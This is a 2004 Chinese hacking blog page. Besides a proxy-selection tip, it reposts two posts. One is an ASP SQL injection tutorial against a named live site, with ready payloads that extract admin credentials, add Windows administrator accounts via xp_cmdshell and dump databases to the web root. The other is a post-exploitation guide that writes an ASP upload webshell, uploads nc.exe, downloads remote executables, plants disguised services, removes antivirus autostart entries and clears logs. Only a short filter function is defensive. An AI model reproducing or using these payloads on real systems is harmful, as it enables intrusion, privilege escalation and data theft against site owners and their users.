这个代理是属于哪段网络,是Chinanet还是联通、网通的。

挑好代理嘛,我的方法很笨的说
先在proxyhunter里导入一个代理列表,验证地址选国内的网址,
先全部验证一把,精简掉要密码、不匹配、无法确定、不符合协议的
然后把连接超时、验证超时的再验证一遍。

接着就是用FlashGet在里面贴一个下载大软件的URL,比如
http://gt.onlinedown.net/down/cb32d479.exe
然后呢,就一个一个代理去尝试下载速度乐
Flashget右下角显示的下载速度我觉得还是蛮准的,能保持在>100k/s的代理
就留下来,其它的,就扔了。
呵呵,最土的办法也就是最有效、最准确的办法。
一点稍微能节省一点时间的小trick
用proxyhunter的代理调度,当然乐,一次只能启用一个
要不然,就不知道你验证的是哪一个代理了。

对于找SSL代理,方法跟上面验速度的方法差不多,略微省事一点
(1)比如先设定proxyhunter里的代理调度端口为8080,
在httport里设第一级代理localhost:8080
第二级嘛,就随便找一个快一点的免费代理了,本地端口比如设为3128
(2)把上面验过速度的代理加入调度,一次启用一个,其它的先停用。
顺手在hunter里添加代理localhost:3128,然后每启用一个代理,就把这个
Localhost:3128验证一下,看是不是free,如果是,则那个启用的代理就是SSL的了。
身手熟练的话,一分钟能验证十几个代理的说。

声明:上述方法如果不懂得话,不要发信来问我,
我已经懒得一个一个去回答一些在我看来很弱的问题了。
自己摸索吧,实在不照,就不要自己去找代理了,还是等着别人给你吧!


- 作者: 10wWhy 2004年07月26日, 星期一 04:42  回复(1) |  引用(0) 加入博采

SQL注入天书 - ASP注入漏洞全接触

随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。

但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...

入 门 篇

如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

第一节、SQL注入原理

以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。

在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.19cn.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:

Microsoft JET Database Engine 错误 '80040e14'

字符串的语法错误 在查询表达式 'ID=49'' 中。

/showdetail.asp,行8

从这个错误提示我们能看出下面几点:

1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。

2. 程序没有判断客户端提交的数据是否符合程序要求。

3. 该SQL语句所查询的表中有一名为ID的字段。

从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。

第二节、判断能否进行SQL注入

看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?

其实,这并不是最好的方法,为什么呢?

首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的

  那么,什么样的测试方法才是比较准确呢?答案如下:

① http://www.19cn.com/showdetail.asp?id=49

② http://www.19cn.com/showdetail.asp?id=49 ;and 1=1

③ http://www.19cn.com/showdetail.asp?id=49 ;and 1=2

这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:

可以注入的表现:

① 正常显示(这是必然的,不然就是程序有错误了)

② 正常显示,内容基本与①相同

③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)

不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。

  当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。

第三节、判断数据库类型及注入方法

不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢?来看看:

SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:

http://www.19cn.com/showdetail.asp?id=49 ;and user>0

这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。

顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

在确认可以注入的情况下,使用下面的语句:

http://www.19cn.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.19cn.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id= 49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。

进 阶 篇

在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:


第一节、SQL注入的一般步骤

首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:

(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]


(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’

接着,将查询条件替换成SQL语句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0

如果页面就与ID=49的相同,说明附加条成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。

表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。

有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。

有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。

最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。

我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:

http://www.19cn.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

  当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。

第二节、SQL注入常用函数

有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。

Access:asc(字符) SQLServer:unicode(字符)

作用:返回某字符的ASCII码

Access:chr(数字) SQLServer:nchar(数字)

作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字) SQLServer:abc (数字)

作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C SQLServer:A between B And C

作用:判断A是否界于B与C之间

第三节、中文处理方法

在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。

先说一点常识:

Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。

了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。

高 级 篇

看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。

第一节、利用系统表注入SQLServer数据库

SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:

① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:

② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

  ③ http://Site/url.asp?id=1 ;and db_name()>0

前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:inetpubwwwroot1.db’;--

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\202.96.xx.xxShare 1.db),但成功率不高。

  ⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。

第二节、绕过程序限制继续注入

在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。

在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

第三节、经验小结

1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。

4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

防 范 方 法

SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:


Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function

文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。


- 作者: 10wWhy 2004年07月26日, 星期一 04:41  回复(1) |  引用(0) 加入博采

Do All in Cmd Shell (修正版)
Do All in Cmd Shell (一切尽在命令行)

-------------------------------------------------------
zzzEVAzzz <zzzevazzz@126.com>
http://www.isgrey.com
2004-04-24
-------------------------------------------------------


目录
1,前言
2,文件传输
3,系统配置
4,网络配置
5,软件安装
6,Windows脚本
7,附言


前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。
本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。


文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:

1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:

@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp

注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:

with wscript
if .arguments.count<3 then .quit
url=.arguments(0)&"?s="&.arguments(2)
fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscript.echo .statustext
end with

将其保存为up.vbs。假设目标IP为123.45.67.89,up.asp在IIS虚拟根目录下,需要上传的文件为nc.exe,上传后保存为mm.exe,相应的命令是:

cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe

注意,这个命令是在本地命令行中执行的,不要弄错了。

另外,通过IIS上传会留日志,要记得清除哦。

2,自动下载到网页缓存中。
例如:

start its:http://www.sometips.com/soft/ps.exe

在远程shell中执行上面这个命令后,ps.exe已经下载到目标主机的网页缓存目录中了。然后:

cd "C:Documents and SettingsDefault UserLocal SettingsTemporary Internet FilesContent.IE5"
dir /s ps[1].exe

于是获得ps.exe的具体位置(每台主机都不一样),如:

C:Documents and SettingsDefault UserLocal SettingsTemporary Internet FilesContent.IE5AB094JIT 的目录

2004-01-24 14:24 49,152 ps[1].exe
1 个文件 49,152 字节

最后:
copy AB094JITps[1].exe c:pathps.exe
del AB094JITps[1].exe

补充说明:
对于以服务为启动方式的后门所提供的shell,其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System,需要修改Default User为相应的用户名。
本方法会启动一个IE进程,记得要将它杀掉。如果是System身份的shell,不会在本地出现窗口而暴露。
另外,用ms-its代替its效果完全一样。

3,Echo一个脚本下载web资源。
现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。
仍然是echo版:

@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs

举例——下载ps.exe并保存到c:path下:

cscript dl.vbs http://www.sometips.com/soft/ps.exe c:pathps.exe

注意,这是在远程shell中执行的。

4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出“杀手锏”了!

echo命令加重定向操作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位操作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)

无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本:

fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,""))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with

将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:

cscript echo.vbs nc.exe

也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:

@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +&qot;">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs

全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。
如果网速不是很慢的话,整个上传过程大约需要20秒。

几点说明:
1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2,在传输大文件前,可以先传个小的文件作为“热身”,让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。
3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。
4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。

能上传文件当然一切都好办了,但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。


系统配置
这节包括三方面内容:注册表、服务和组策略。

先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。
好在系统自带的regedit.exe足够用了。

1,读取注册表
先将想查询的注册表项导出,再用type查看,比如:

C:>regedit /e 1.reg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"

C:>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d

C:>del 1.reg

所以终端服务的端口是3389(十六进制d3d)

2,修改/删除注册表项
先echo一个reg文件,然后导入,比如:

echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftTelnetServer1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg

将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。

要删除一个项,在名字前面加减号,比如:

[-HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesServ-U]

要删除一个值,在等号后面用减号,比如:

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"KAVRun"=-

3,用inf文件访问注册表
上面对注册表的三个操作,也可以用下面这个inf文件来实现:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWAREMicrosoftTelnetServer1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWAREMicrosoftTelnetServer1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEMCurrentControlSetServicesServ-U
HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun

将它写入c:path eg.inf然后用下面这个命令“安装”:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:path eg.inf

几点说明:
1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
2323也可以用0x913代替。
关于inf文件的详细信息,可以参考DDK帮助文档。
2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。
128表示给定路径,该参数其他取值及含义参见MSDN。
特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
3,inf文件中的项目都是大小写不敏感的。


接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,原因后面会提到。还是得靠inf文件出马。

增加一个服务:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%inetsvr.exe

保存为inetsvr.inf,然后:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:pathinetsvr.inf

这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。

几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。

删除一个服务:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr

很简单,不是吗?

当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%system32 lntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题——不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。

另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。


最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。

先看secedit命令语法:
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。

与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:

假设我要将密码长度最小值设置为6,并启用“密码必须符合复杂性要求”,那么先写这么一个模板:

[version]
signature="$CHICAGO$"
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1

保存为gp.inf,然后导入:

secedit /configure /db gp.sdb /cfg gp.inf /quiet

这个命令执行完成后,将在当前目录产生一个gp.sdb,它是“中间产品”,你可以删除它。
